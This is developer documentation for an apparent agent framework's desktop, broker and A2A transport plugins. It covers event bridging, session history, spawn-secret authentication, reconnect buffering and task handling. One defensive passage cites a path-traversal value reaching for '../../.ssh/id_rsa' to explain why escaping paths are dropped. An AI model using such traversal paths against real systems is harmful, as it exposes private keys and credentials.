    # Events accepted inbound: frontend → bus
    accept:
      - "match.request"
      - "hello.request"
      - "ui.state.save"
      - "io.file.selected"

Events

In config-driven mode, the plugin bridges whatever events are listed in subscribe (outbound: Go → JS) and accept (inbound: JS → Go). Custom domain events use a generic passthrough handler. The existing typed handlers (handleOutput, handleStreamChunk, etc.) remain for chat events that need special mapping.

Architecture

  • Hub — A single-client transport wrapper holding the Runtime implementation installed by the embedder. No fanout, no client map, no lifecycle — a Wails app has exactly one attached webview for its process lifetime.
  • Adapter — Implements ui.UIAdapter by marshaling outbound messages into ui.Envelope and calling Hub.BroadcastEnvelope, which in turn calls Runtime.EmitEvent("nexus", envelopeJSON).
  • Plugin — Wiring layer that subscribes to configured events and translates inbound events from the webview onto the Nexus bus.

The Runtime interface is deliberately minimal:

type Runtime interface {
    EmitEvent(name string, optionalData ...any)
    OnEvent(name string, callback func(optionalData ...any))
}

Multi-agent scoping

When a desktop shell runs multiple agent engines, the shell provides a scoped Runtime adapter per agent. The scoped runtime prepends the agent ID to event channels:

  • Outbound: "{agentID}:nexus" instead of "nexus"
  • Inbound: "{agentID}:nexus.input" instead of "nexus.input"

The plugin itself is unaware of scoping — it talks to its Runtime, and the Runtime implementation handles the namespace. No plugin changes needed for multi-agent.

Full documentation: See the Desktop Shell section for architecture details, a step-by-step build guide, and the complete API reference.

The desktop shell framework in pkg/desktop/ handles all the boilerplate of embedding Nexus in a Wails app. Each agent is registered with its config YAML and plugin factories:

desktop.Run(&desktop.Shell{
    Title:  "My App",
    Width:  900,
    Height: 720,
    Assets: assets,
    Agents: []desktop.Agent{{
        ID:         "my-agent",
        Name:       "My Agent",
        ConfigYAML: configYAML,
        Factories: map[string]func() engine.Plugin{
            "nexus.io.wails":   wailsio.New,
            "my.custom.plugin": myplugin.New,
        },
    }},
})

The shell handles:

  • Per-agent engine lifecycle (lazy boot on first selection)
  • Scoped Runtime adapters for multi-agent event isolation
  • Singleton-factory registration for the wails plugin
  • Shell services (file dialogs, OS notifications, etc.)
  • Left-nav navigation for multi-agent apps
  • Settings UI with agent-contributed schemas, keychain secrets, and ${var} config injection
  • Session history: per-agent session list, recall, new session, cleanup

See cmd/desktop/ for the reference multi-agent app.

Agent-contributed settings

Agents declare configurable fields via Settings []SettingsField on the Agent struct. The shell renders a settings UI from the schema, persists values to ~/.nexus/desktop/settings.json (plaintext) and the OS keychain (secrets), and resolves ${var} placeholders in the agent’s ConfigYAML before engine creation.

desktop.Agent{
    ID:         "my-agent",
    ConfigYAML: configYAML, // contains ${shell.anthropic_api_key}, ${data_dir}
    Settings: []desktop.SettingsField{
        {
            Key:      "shell.anthropic_api_key",
            Display:  "Anthropic API Key",
            Type:     desktop.FieldString,
            Secret:   true,
            Required: true,
        },
        {
            Key:     "data_dir",
            Display: "Data Folder",
            Type:    desktop.FieldPath,
            Required: true,
        },
    },
}

Scope fallback: Settings keys prefixed with shell. are stored in shell scope and shared across agents. During resolution, the shell checks agent scope first, then falls back to shell scope. This means an API key entered once under “shell” is available to all agents.

Required field gating: If an agent has required settings with no value and no default, the shell refuses to boot the engine and redirects the user to the settings page with missing fields highlighted.

Session history

The shell tracks session history per agent in ~/.nexus/desktop/sessions.json. Each engine boot creates a new session entry; agents contribute metadata via bus events:

  • session.meta.title — Human-readable session title (e.g. “Match: Senior Go Engineer”). Emitted by the agent plugin after a meaningful action completes.
  • session.meta.preview — Agent-specific summary data for the session list (e.g. { candidateCount: 5, topCandidate: "Jane" }).
  • session.meta.status — Explicit status change (e.g. { status: "completed" }). Also inferred from io.session.end.

The shell subscribes to these events on the engine’s bus after boot and updates the session index. The frontend receives updates via {agentID}:sessions.updated Wails events.

Session lifecycle:

  • New session: Shell.NewSession(agentID) stops the current engine and boots a fresh one.
  • Recall: Shell.RecallSession(agentID, sessionID) stops the current engine, creates a new one with RecallSessionID set, and boots it. The engine replays conversation history via io.history.replay.
  • Delete: Shell.DeleteSession(agentID, sessionID) removes the session from the index and deletes the engine session directory.
  • Cleanup: On startup, the shell removes sessions older than the configured retention period (default 30 days) and reconciles orphaned engine directories.

UI state persistence

The shell provides a framework-agnostic mechanism for frontends to persist and restore UI state across sessions via two bus events:

  • ui.state.save (inbound: frontend → bus) — The frontend emits this event with an opaque { state: { ... } } payload whenever it wants to checkpoint its UI state. The shell writes the payload to ui-state.json in the engine session directory (~/.nexus/sessions/<id>/ui-state.json).

  • ui.state.restore (outbound: bus → frontend) — On session recall, after the engine boots, the shell reads ui-state.json (if it exists) and emits this event onto the bus. The frontend listens for it and rehydrates its state from the payload.

Both events must be included in the wails IO plugin’s config-driven accept and subscribe lists:

plugins:
  nexus.io.wails:
    subscribe:
      - "ui.state.restore"
    accept:
      - "ui.state.save"

The payload structure is entirely up to the frontend — the shell treats it as an opaque JSON blob. This means the mechanism works regardless of whether the frontend uses Alpine.js, React, vanilla JS, or any other framework.

File portal

The desktop shell provides a file portal layer that gives agents a consistent way to access files without navigating the raw filesystem. Agents declare input_dir and output_dir settings; the shell uses these to root file dialogs, list directory contents, and provide a file browser panel.

Shell-bound methods:

  • ListFiles(agentID, filter) — Non-recursive listing of the agent’s input_dir, filtered by glob pattern.
  • OutputDir(agentID) — Resolve and create the agent’s output_dir.
  • CopyFileToInputDir(agentID, sourcePath) — Copy a file into the agent’s input_dir (used for drag-and-drop).
  • WatchInputDir(agentID) — Start fsnotify watcher, emits {agentID}:files.changed on file create/remove/rename.

Bus events:

EventDirectionPurpose
io.file.open.requestPlugin → shellRequest a file dialog (existing)
io.file.open.responseShell → pluginFile dialog result (existing)
io.file.output_dir.requestPlugin → shellAsk where to write outputs
io.file.output_dir.responseShell → pluginOutput directory path
io.file.selectedShell → pluginUser selected a file in the browser panel
session.file.createdPlugin → shellAgent wrote an output file (existing)

Directory resolution priority:

  1. Agent-scoped input_dir setting
  2. Shell-scoped shared_data_dir setting
  3. User’s ~/Documents directory

File browser panel (frontend):

The reference desktop app includes a right-side collapsible file browser panel that shows the active agent’s input_dir contents. It supports click-to-select (emits io.file.selected), open in default app, reveal in finder, and drag-and-drop file import from the OS. The panel auto-refreshes via fsnotify when files change on disk.

Manual embedding (advanced)

If you need more control than pkg/desktop/ provides:

1. Singleton-factory registration

p := wailsio.New().(*wailsio.Plugin)
eng.Registry.Register("nexus.io.wails", func() engine.Plugin { return p })

2. Install runtime before boot

p.Hub().SetRuntime(&wailsRuntime{ctx: ctx})
eng.Boot(ctx)

3. Frontend bus helper

const bus = createBus('my-agent');
bus.on('my.response', (data) => { /* handle */ });
bus.emit('my.request', { /* payload */ });
const result = await bus.call('my.request', 'my.response', payload);

Known gotchas

  • Factory-per-boot: Always use a singleton factory closure for the Wails plugin. LifecycleManager.Boot calls factories once per boot.
  • Boot ordering: SetRuntime must happen before Boot.
  • OnStartup timing: the webview may not be fully attached the instant OnStartup fires. If you see dropped events during the first tick, defer Boot one event loop iteration.
  • Do not call eng.Run: Embedders must use Boot/Stop directly. Run installs its own signal handler, which conflicts with Wails.

Broker IO (dial-back transport)

nexus.io.broker is the IO transport for Nexus instances spawned by the session broker (cmd/nexus-broker).

Unlike every other IO transport, this plugin dials out instead of listening. nexus.io.tui, nexus.io.browser, and nexus.io.realtime all open a listening socket and wait for a client to connect. The broker plugin does the opposite: when an instance boots, the plugin dials back to the broker’s instance gateway over a single WebSocket. The broker is the only listening socket in the system — there is no per-instance loopback port to allocate or firewall.

You normally never configure this plugin by hand. The broker injects its config via environment variables when it spawns an instance, and the plugin reads them on boot. It is included for completeness and for anyone embedding the broker protocol in a custom host.

Details

IDnexus.io.broker
DependenciesNone
Spawned bycmd/nexus-broker (one instance per lease)
Listens?No — it dials out to the broker gateway

Configuration

KeyTypeDefaultDescription
broker_addrstring$NEXUS_BROKER_ADDRWebSocket URL of the broker’s instance dial-back endpoint, e.g. ws://127.0.0.1:8080/instance. Falls back to the NEXUS_BROKER_ADDR env var (injected by the broker at spawn). When empty the plugin stays dormant — it does not dial and the engine still boots cleanly.
lease_idstring$NEXUS_BROKER_LEASE_IDLease id the broker assigned to this instance; echoed in the register frame so the gateway can bind this socket to the lease. Falls back to the NEXUS_BROKER_LEASE_ID env var. When empty the plugin stays dormant.
spawn_secretstring$NEXUS_BROKER_SPAWN_SECRETPer-spawn secret the broker generated for this instance and injected at exec; echoed in the register frame alongside lease_id so the gateway can prove this process is one it spawned. Falls back to the NEXUS_BROKER_SPAWN_SECRET env var. Empty does not make the plugin dormant — it dials and is refused — because “no secret” is a diagnosable failure at the broker, not a reason to stay silent. Every broker requires it, with or without an auth: block.

Config keys take precedence over the environment variables. The reference table above is canonical; see the Configuration Reference.

How it works

On Ready (after the engine is fully up), the plugin:

  1. Dials broker_addr over WebSocket using github.com/coder/websocket.
  2. Registers by sending a register frame keyed by lease_id and carrying spawn_secret — this MUST be the first frame so the gateway can bind the socket to the lease. The secret rides on this frame and no other: every later frame is forwarded verbatim to the connected client.
  3. Announces readiness with a ready frame. The broker’s POST /claim handler is blocked on exactly this signal before it returns to the caller.
  4. Reports the session id with a session-id-report frame so the broker can persist the engine-generated session id for a later -recall resume.
  5. Bridges IO in both directions for the rest of the session.

If the connection drops, the plugin reconnects with exponential backoff (250 ms → 5 s) until shutdown. That loop is also what makes broker restart recovery work: a broker configured with a state_dir restores this instance’s lease at boot and accepts the re-registration, so a surviving instance rejoins with no plugin configuration and no client involvement. See Surviving a restart.

Output is buffered across a reconnect

Everything the instance emits while that socket is down is held, not dropped.

The reason is the backoff above. A broker restart puts the instance into the reconnect loop for anywhere from 250 ms to several seconds, and the agent keeps running throughout — so the window in which reattach is supposed to be seamless is exactly the window in which output is produced with nowhere to go. Outbound frames used to be written inline and discarded when the write failed, which lost them on the instance side, before the broker had ever seen them and therefore out of reach of the broker’s own client replay buffer.

How it behaves:

Bound1 MiB per instance, fixed (not configurable)
Measured inbytes, not frames
Evictionoldest first
On overflowa WARN naming dropped_frames, dropped_bytes and limit_bytes, rate-limited to one per second with cumulative counts
Flushedafter the register / ready / session-id-report handshake of the next session

The bound is in bytes because outbound payloads span orders of magnitude — a token delta is a few bytes, a tool result is tens of kilobytes — so a frame count says nothing about how much memory a disconnected instance can pin. 1 MiB holds many seconds of streaming for a chatty agent and still holds several whole tool results for one that only emits large frames; it is the same figure as the broker’s per-lease client_replay_buffer_bytes default, so the two halves of one stream pin comparable memory. Oldest-first eviction keeps the most recent tail, which is the part a client reattaching after a gap actually needs. A single frame larger than the whole bound is not retained at all — the alternative is a bound one big tool result can breach.

The flush happens after the handshake, never before it: a buffered frame that overtook the register frame would reach a broker that has not yet bound the socket to the lease. A single write pump drains the buffer oldest-first, which is also what makes emission order the wire order however many bus handlers are producing at once, and a frame is removed from the buffer only once it has been written — a write that fails on a dying socket leaves it at the head for the next session.

SendIO never touches the socket. Bus dispatch is synchronous, so it runs on the goroutine producing the agent’s output; enqueuing under a short-lived lock keeps a slow or dead link from stalling the agent.

Two cases deliberately do not buffer:

  • A dormant plugin (no broker_addr or no lease_id) never dials, so its output is dropped at DEBUG exactly as before rather than pinning a megabyte for a link that is not coming up.
  • Shutdown flushes on a bound, not on a promise. Shutdown gives the write pump up to 2 seconds to drain a live socket — so the last output before a locally initiated shutdown still reaches the broker — and skips the wait entirely when nothing is connected. A non-empty buffer can never turn a graceful shutdown into a hang. (On the broker-initiated path the shutdown frame has already ended the session, so there is no socket left to flush to.)

The dial-back socket is probed, not assumed live

The reconnect loop above only helps once the instance knows the link is gone, and a half-open TCP connection does not announce itself: a host that slept, moved network, or had its flow dropped by a NAT leaves a socket that is still open, still accepts writes, and never delivers another byte. Left undetected, an instance in that state fills its 1 MiB outbound buffer against a socket nobody will ever drain — evicting its own oldest frames — while the write pump sits happily in a Write the kernel accepts.

So the plugin pings the broker every 15 seconds and drops the dial-back socket once the broker has answered nothing for 45 seconds (three consecutive probes), which unwinds the session and redials through the usual backoff. The outbound buffer is untouched by the teardown, so whatever was pending goes out after the next handshake. The broker probes in the other direction on the same cadence — see Detecting a dead socket.

Three properties are worth stating:

  • The deadline is three intervals, not one. A single unanswered ping proves very little (a GC pause, a saturated uplink, a broker mid-compaction), and on this side a needless reconnect is not free — it replays the handshake and re-flushes the buffer. Sustained silence is the trigger, not a hiccup.
  • An idle link is never dropped. A ping is answered by the broker’s WebSocket stack whether or not anyone is typing, so an instance parked in a long tool call, or one whose user stepped away, survives indefinitely. A timeout on Read would tear such links down at exactly the moments they are most expensive to lose, which is why the probe is a ping.
  • No wire change. Ping and pong are RFC 6455 control frames, not brokerframe signals: no new signal, no version bump, and nothing that can skew against an older broker. There is no configuration key — the interval and deadline are constants.

Outbound (engine bus → broker → client)

These engine events are forwarded as IO messages inside broker frames:

Bus eventIO message type
io.outputoutput
llm.stream.chunkstream.delta
llm.stream.endstream.end
io.statusstatus
io.approval.requestapproval.request
hitl.requestedhitl.request
cancel.completecancel.complete

Output already delivered as stream.delta chunks is not re-sent as a final output message (the plugin skips io.output events flagged streamed).

A hitl.request carries the question’s mode and choices alongside its prompt, spelled exactly as nexus.io.browser spells them. A responder answers a multiple-choice question with a choice_id, so a payload carrying only the prompt gives it no way to learn what the ids are. Both fields are omitempty, so a free-text question’s payload is byte-identical to one with no options at all — a consumer that ignores them behaves exactly as it did before they existed.

The broker itself is now a second reader of this envelope: its A2A ingress decodes these payloads to drive A2A tasks. A field added here must be mirrored in cmd/nexus-broker, and a test enforces that (it parses this plugin’s source and fails if the two declarations disagree).

Inbound (client → broker → engine bus)

Inbound IO messages are decoded and injected onto the bus:

IO message typeBus event
inputbefore:io.input (vetoable) → io.input
approval.responseio.approval.response
hitl.responsehitl.responded
cancelcancel.request

io.input is emitted from a goroutine (not the read pump) because bus dispatch is synchronous and an agent loop may block waiting on a HITL response — the same pattern nexus.io.browser and nexus.io.realtime use.

Graceful shutdown

When the broker tears a lease down (manual POST /release, idle, or crash handling) it sends a shutdown frame. The plugin then:

  • latches its reconnect loop off so the teardown is not undone by a retry, and
  • emits io.session.end, which drives a clean engine Stop that flushes and persists the session before the process exits.

The plugin never hard-exits mid-write; the engine owns teardown ordering. The broker bounds how long it waits for the process (release_grace) and then escalates: SIGTERM to the instance’s process group — which the engine also handles as a clean shutdown, and which is the only teardown request an instance whose socket has died ever receives — and SIGKILL to the same group a fixed 2s later. Signalling the group is what takes the instance’s own subprocesses with it; see the guide.

Anything still in the outbound buffer is flushed on a bound rather than waited out — see Output is buffered across a reconnect.

Security

The plugin makes no authorization decisions. It presents the credentials the broker handed it and the broker gateway decides; there is nothing here to configure or bypass.

The spawn secret

The register frame carries a second factor beside the lease id. The lease id alone is a poor authenticator for the dial-back socket: the same value appears in ws_urls, client requests and logs, so anything that observes one could otherwise impersonate an instance. The broker records the expected value on the lease and injects it through the child’s environment — never argv, which is world-readable via ps and /proc. Both values must match or the gateway closes the socket with the same policy violation close an unknown lease gets.

How the broker produces the value depends on whether it keeps state, and the plugin cannot tell the difference — it echoes whatever it was given:

  • No state_dir — 128 bits of crypto/rand per spawn, held only in memory.
  • state_dir set — derived as HMAC-SHA256(<state_dir>/spawn-key, lease_id), so a restarted broker can recompute the value this instance is still holding and let it reattach. The secret itself is still never written to disk.

Enforcement is decided entirely by the broker, and it is unconditional: the secret is required on every registration — with an auth: block or without one, on a freshly claimed lease or on one restored after a broker restart. That block configures how clients are verified; it never described what the broker should believe about an unverified dialer.

Breaking change. Enforcement used to be gated on the broker having an auth: block, so a nexus binary predating the protocol kept registering on an unauthenticated broker. It no longer does, and dropping the auth: block is no longer a workaround. Upgrade the instance binary.

Alongside the secret, the broker validates the register frame’s schema version against its own and refuses a mismatch. Both failures are WARNs that name their own fix, because the symptom otherwise looks like a network fault: claims time out with instance did not become ready in time while the child is alive and connecting fine.

Reattaching to a lease restored after a broker restart is the case where this matters most. The broker only knows that the recorded pid is alive, and a pid can be recycled to an unrelated process while the broker is down; the secret is the only thing that distinguishes the genuine instance. An instance binary too old to send one cannot reattach and its lease is reaped after reattach_window.

The plugin never logs the secret. Its init record carries a spawn_secret_present boolean instead, which is what you want when diagnosing a refused registration: it answers whether the value ever reached the process.

See the session broker guide for the full list of broker-level limitations.

Example configuration

You rarely write this by hand — the broker injects both values as environment variables at spawn. When you do set them explicitly:

nexus.io.broker:
  broker_addr: "ws://127.0.0.1:8080/instance"
  lease_id: "lease-abc123"
  spawn_secret: "9d4e7a10c3b28f56ae0192b3c4d5e6f7"   # only a broker can mint a usable one

Omit broker_addr and lease_id (or leave their env vars unset) and the plugin stays dormant, so a config that activates the plugin outside a broker still boots without error. spawn_secret does not affect dormancy, but omitting it means every registration is refused: no broker accepts a register frame without one.

See also

A2A serve transport

nexus.io.a2a exposes a Nexus instance as an Agent2Agent (A2A) agent. It stands up one HTTP listener carrying three surfaces:

SurfacePathPurpose
DiscoveryGET /.well-known/agent-card.jsonThe Agent Card: who this agent is, where its bindings live, and how to authenticate.
JSON-RPC 2.0 bindingPOST <jsonrpc_path> (default /a2a)A2A specification §9.
HTTP+JSON/REST binding<rest_prefix>/… (default /a2a/v1)A2A specification §11.

The wire format is entirely pkg/a2a, Nexus’s hand-rolled A2A codec targeting specification 1.0.x. This plugin contributes the listener, the credential guard, the card assembly and the routing.

It is the A2A sibling of nexus.io.agui and inherits that plugin’s exemption from the browser/wails transport parity rule: an external interop transport is not a Nexus UI, so nothing here is back-ported into nexus.io.browser or nexus.io.wails.

Current maturity

Every A2A operation outside the push-notification family is wired. SendMessage and SendStreamingMessage drive a real Nexus turn, every task they create is persisted durably in a principal-scoped, session-scoped SQLite store, GetTask, ListTasks and SubscribeToTask read it back, a human-in-the-loop question parks the task at INPUT_REQUIRED and is resumed by a message naming the same taskId, and CancelTask settles a task at CANCELED. A turn publishes its answer, its structured output, every tool result and every file it wrote as Artifacts, and the Nexus telemetry extension is declared and honoured.

The Agent Card reports this rather than advertising an intention: capabilities.streaming, pushNotifications and extendedAgentCard are all derived from the set of operations the plugin actually implements. Wiring an operation flips its capability in the same edit, so the card and the behaviour cannot disagree. A2A declares no capability boolean for cancellation — it is part of the core task surface — so the card’s honest statement there is simply that CancelTask dispatches instead of refusing.

Task store

Every task is recorded in <session>/plugins/nexus.io.a2a/store.db, opened through the engine’s per-plugin storage capability at session scope. The record carries the task id, its contextId, the current state and timestamp, the full status history, the artifacts, message references for both sides of the exchange, and the authenticated Principal that created it. The task row is written before the turn is allowed to start, and every transition is written through as the frame reporting it is queued for the wire, so the store never lags what a client has been told.

Reads are principal-scoped by construction: the store hands out a view bound to one Principal and every statement on that view names principal_id. There is no unscoped query in the API, so enumerating another principal’s tasks is not an expression the package can form.

Retention (tasks.ttl, tasks.max_per_context) is documented in the configuration reference.

Reading tasks back

OperationJSON-RPCREST
GetTask{"method":"GetTask","params":{"id":"…"}}GET <rest_prefix>/tasks/{id}
ListTasks{"method":"ListTasks","params":{…}}GET <rest_prefix>/tasks?…
SubscribeToTask{"method":"SubscribeToTask","params":{"id":"…"}}POST <rest_prefix>/tasks/{id}:subscribe

GetTask returns the task with its status, its artifacts and its history. History is the trail of message references the store retained, rendered as text messages — the client-assigned messageId, the role and the text that travelled — not a replay of Nexus’s own conversation buffer. Because this transport accepts text parts only and emits text artifacts only, that rendering is lossless for everything the agent can currently say or hear. configuration.historyLength is honoured: unset keeps everything retained, 0 omits history, and N keeps the most recent N messages.

ListTasks pages the caller’s own tasks, newest first, and supports every filter the specification defines: contextId, status, statusTimestampAfter (inclusive), historyLength and includeArtifacts. Artifacts are off by default to keep a page small, which is the specification’s own default; history is not, so pass historyLength=0 for a compact listing. pageSize defaults to 50 and is bounded to 1–100. The nextPageToken is a keyset cursor over (created_at, rowid), not an offset: a task created or evicted while a client is paging cannot make it skip or repeat a row. A token this server did not mint is an InvalidParamsError rather than a silent restart from the top.

SubscribeToTask attaches an SSE stream to an existing task and always opens with the task’s current state, so a client that joined mid-turn learns what it missed before it sees anything new. If the task is live, the subscriber joins the run’s fan-out and receives exactly the frames every other attached stream receives. If it is already terminal, the opening snapshot carries the terminal state and the stream closes at once rather than hanging. A task that is neither gets its snapshot and then a close, because nothing will ever update it again — though a task this process was serving when it last stopped is settled at FAILED on open, so its snapshot names a real ending rather than a stale WORKING.

Task ownership is not enumerable

Every read goes through the store’s principal-scoped view. A task belonging to another principal answers exactly as an id nobody ever minted does: the same TaskNotFoundError, the same HTTP 404, the same body, from the same single indexed lookup. There is no “exists but is not yours” response, because that would be an existence oracle for task ids the caller was never told — the same reasoning behind the session broker’s errTicketRejected.

With no auth: block configured every caller is unauthenticated and shares one partition, which is another reason the listener binds loopback by default.

Details

IDnexus.io.a2a
DependenciesNone
RequiresNone
Subscriptionsagent.turn.start, agent.turn.end, llm.request, llm.response, io.output, core.error, hitl.requested, hitl.responded, tool.invoke, tool.result, thinking.step, subagent.started, subagent.iteration, subagent.complete
Emissionsbefore:io.input, io.input, hitl.responded, hitl.cancel, cancel.request
Listens?Yes — loopback by default (127.0.0.1:8091)

How a message becomes a turn

SendMessage / SendStreamingMessage
  └─ message.parts (text)  ──▶  before:io.input ──▶ io.input
                                                       │
        Task SUBMITTED  ◀── the request was accepted    │
        Task WORKING    ◀── agent.turn.start            ▼
        Artifact (tool) ◀── tool.result               the agent runs
        Artifact (file) ◀── a path a tool.result named
        metadata (ext)  ◀── thinking.step / tool.invoke / subagent.* / usage
        Artifact (text) ◀── io.output / llm.response
        Task COMPLETED  ◀── agent.turn.end
        Task FAILED     ◀── core.error (fatal or retries exhausted)

One call is one Task is one turn. SendMessage blocks until that task is terminal and returns the finished Task — A2A’s default (§3.2.2) — while SendStreamingMessage writes the same frames as SSE and closes the stream the moment a frame reports a terminal state. Both bindings render from one translation, so they cannot report different outcomes for the same turn.

The turn’s final assistant text is published as an Artifact carrying a text Part. It is taken from io.output rather than straight from the model, so whatever the output gates actually let through is what the client receives. What else a turn publishes is covered in What a turn publishes below.

Refusals worth knowing about, each carrying the error type the specification reserves for it: a non-text Part (ContentTypeNotSupportedError), an inline taskPushNotificationConfig (PushNotificationNotSupportedError), and a genuinely concurrent second task while one is in flight (UnsupportedOperationError — the listener fronts one agent loop, and two turns would interleave on the same bus). configuration.returnImmediately is honoured, and a message naming a taskId is a continuation rather than a refusal; both are covered below.

What a turn publishes

A2A puts task output in artifacts and conversation in messages (§3.7). Four things a Nexus turn produces are output by that reading:

ArtifactContents
<taskId>-responseThe answer as a text Part, plus an application/json Part when the answer is a JSON document.
<taskId>-tool-<callId>One per tool result: the output as text (or the error, flagged), plus a JSON Part when the tool produced structured output.
<taskId>-file-<path>One per file the turn wrote: the bytes inline as a base64 raw Part, with the filename and media type.
<taskId>-artifacts-truncatedOnly when the task spent its artifact budget: how many artifacts were withheld.

Structured output is a document, not a string. When the final text parses as a JSON object or array — one surrounding markdown fence is unwrapped first — a second Part carries it as real application/json, so a client decodes rather than re-parses. The text Part stays first, because it is what every A2A client can render. When an llm.request declared a json_schema, the artifact’s metadata names it under nexus.output.schema.

Tool results are artifacts unconditionally. There is no key to disable them. An interop transport whose observability depends on the operator having switched it on is one a partner cannot rely on; the volume that buys is answered by the caps below rather than by a flag.

A human-in-the-loop question is not an artifact. It rides the INPUT_REQUIRED status message and the task’s message history — see below. A request for input is not output, and putting it in the output channel as well would count one event twice.

Files, and what is missed

A file is published only when a tool.result reports having written it: through the engine’s ToolResult.OutputFile field (honoured for every tool), or through a structured-output key named by artifacts.file_sources — whose default rule is nexus.tool.fileio’s write_file reporting path.

Snapshot-diffing the session workspace is deliberately out of scope, so a write by an uninstrumented path is missed by design. A shell command redirecting into a file reports stdout, stderr and an exit code and nothing about the file, so nothing is published for it — which is why nexus.tool.shell has no default rule rather than a rule that cannot fire. An operator whose shell wrapper does report a written path adds it to artifacts.file_sources.

Every reported path is resolved against artifacts.file_base_dir (the session’s files/ directory unless configured) and confined to it, symlinks followed. A path that escapes is dropped rather than clamped: a tool reporting ../../.ssh/id_rsa is either broken or hostile, and inlining what it named into a response that leaves the process cannot be walked back.

The caps are load-bearing

Unconditional tool-result artifacts, times inline base64 file parts, times a disk-persisted store, is an unbounded product. Three caps make it bounded, and each one degrades rather than dropping silently:

CapDefaultOver it
artifacts.max_file_bytes256 KiBThe file becomes a metadata note naming it, its size and the cap.
artifacts.max_tool_output_bytes16 KiBThe text is truncated on a rune boundary with a note saying how much was shown.
artifacts.max_task_bytes1 MiBFurther artifacts are suppressed and one notice artifact says how many.

The store’s worst case is artifacts.max_task_bytes x tasks.max_per_context — about 200 MiB at the shipped defaults. Full key documentation is in the configuration reference.

configuration.acceptedOutputModes is honoured rather than merely validated: a request naming only text media types receives no JSON Part and no inline file contents, though the files are still reported as notes so the client knows they exist.

The Nexus extension

Thinking steps, tool calls, subagent progress and token counts have no canonical A2A field, so they ride the Nexus extension:

https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1

It is declared in the Agent Card under capabilities.extensions, never required, and carried as TaskStatusUpdateEvent.metadata keyed by that URI. The status those frames carry is the task’s current state rather than a hard-coded WORKING, so a telemetry frame emitted while the task is parked does not tell a client the task went back to work.

A client opts in per request with the A2A-Extensions service parameter, and the response echoes back what was actually activated. A client that did not ask receives a stream with no extension metadata on it at all — the point of an opt-in is that it is honoured by not sending, not by the client filtering.

Telemetry is the one frame class that is not persisted. Storing it would put a WORKING transition in the task’s status history for every thinking step, so GetTask would replay a turn’s reasoning as state changes the task never made. It is a live signal on an attached stream; the store records what the task is.

A task outlives the request that started it

A run is this listener’s single active task and is released when the task reaches a terminal state, not when the HTTP request that started it returns — and the release happens before the response reporting that terminal state is written, on both the blocking and the streaming path. So a client that has read a terminal Task may immediately send again on the same contextId without meeting TASK_ALREADY_IN_FLIGHT. slot_test.go pins that ordering; the guide states the contract and the client-visible reasoning behind it, including why a task parked at INPUT_REQUIRED deliberately keeps the slot — see A terminal response means the slot is already back.

That one change is what makes the rest of this page possible. A client can disconnect mid-turn without failing its own task — the turn carries on, GetTask still answers, and SubscribeToTask reattaches to exactly where it got to. A question can stay parked for as long as a human takes to answer it. And configuration.returnImmediately is answerable: the call returns the task as it stands and the client follows it by other means (streaming ignores the flag, since a stream is already that follow-up).

The cost is that a turn nobody is watching holds the slot until something ends it. CancelTask is that something, which is why the two landed together, and why an unanswered question has a deadline.

A task left non-terminal by a process restart is settled at FAILED when the store next opens, with a status message saying the agent stopped while it was running. Nothing would ever move such a task again — no run drives it and no bus event will name it — and retention only evicts terminal tasks, so leaving it as found would mean an immortal row reporting WORKING for ever and counting against the per-context cap.

Human-in-the-loop is INPUT_REQUIRED

When a Nexus agent asks a human something — nexus.control.hitl’s ask_user tool, or any plugin emitting hitl.requested — the task parks:

hitl.requested  ──▶  Task INPUT_REQUIRED, question on status.message
                     (stream stays open; state written through to the store)

SendMessage{taskId, contextId}  ──▶  hitl.responded  ──▶  Task WORKING
                                                          (same turn, no io.input)

The task stays live while parked. Open SSE streams stay open — §11.7’s close rule keys off terminal states and this is not one — because closing on a non-terminal state is indistinguishable client-side from a dropped connection. A parked stream is kept warm with SSE comment records so proxy idle timeouts do not kill it.

The client resumes by sending a new message carrying the same taskId and contextId, which is A2A’s own resume mechanism (§3.4). The answer is routed to hitl.responded and the task returns to WORKING inside the turn that asked — no io.input is emitted and no second task is created. A multiple-choice question renders its option ids into the question text, and an answer matching one of them (case-insensitively) is delivered as that choice rather than as free text.

Continuing a task is refused with UnsupportedOperationError when it is already terminal, when the message names a different contextId than the task’s, or when the task is not waiting for input. A taskId belonging to another principal answers exactly as an unknown one does: TaskNotFoundError.

Because a parked task holds the process’s one agent loop, the wait is bounded by tasks.input_timeout (default 15m). On expiry the task is driven to FAILED — a real terminal transition, so the store, every attached subscriber and the client all agree — and hitl.cancel retracts the question so the blocked agent unblocks. "0s" disables the deadline; the consequence is a task that can stay parked until the process exits.

A client must act on the INPUT_REQUIRED frame, not on the stream ending. Holding the stream open is deliberate (above), so a client that waits for the stream to end before reading it will wait until a deadline fires rather than seeing the question. Nexus’s own outbound leg, nexus.agent.a2a_remote, stops reading on the interruption frame and resumes on a fresh connection, so it chains a question at its default stream: true. The blocking SendMessage binding is equally fine: it returns the parked Task as soon as it parks.

Cancelling a task

CancelTask (POST <rest_prefix>/tasks/{id}:cancel) settles the task at TASK_STATE_CANCELED and then tells the bus, in that order:

  1. hitl.cancel, if the task was parked on a question — otherwise the agent would stay blocked on an answer that is never coming.
  2. cancel.request, which is the control.cancel capability’s entry point. Cancellation is that plugin’s job for every transport; this one asks, exactly as the TUI and browser transports do.

Settling first is what keeps the stream contract intact: once the task is terminal every later frame is dropped, so nothing produced by the teardown can arrive after the frame that closed the stream.

Cancelling an already-terminal task is refused with TaskNotCancelableError (HTTP 400 / FAILED_PRECONDITION) and writes nothing. Reporting success would tell a client its cancel took effect on a task that had already completed and whose output it is about to read.

contextId is the Nexus session

An A2A context is a conversation, and so is a Nexus session. They map onto each other — but a Nexus process owns exactly one session, fixed at boot, with one memory.history buffer and no bus primitive that starts a second session or resets history. So:

  • The first call claims the session. A client that names no contextId is assigned the session id and gets it back on the Task.
  • Later calls naming the same context continue the conversation, history intact.
  • A different contextId is refused, naming the bound one. Accepting it would hand the caller a conversation already carrying another context’s history while calling it new, which is worse than an error. One instance per context is the answer, and the session broker exists to automate that.

The context is resolved before the in-flight slot is checked, so this refusal (CONTEXT_NOT_SERVED, permanent) is never issued as TASK_ALREADY_IN_FLIGHT (transient) merely because a task happened to be running, and a refused request leaves no binding behind. The guide sets out which refusal a client gets and why the difference matters.

Configuration

The Configuration Reference is canonical for every key, its type and its default. A minimal working block:

plugins:
  active:
    - nexus.io.a2a

  nexus.io.a2a:
    bind: "127.0.0.1:8091"
    bearer_token_env: NEXUS_A2A_TOKEN
    artifacts:
      # Every knob has a non-zero default; these are the shipped values.
      max_file_bytes: 262144
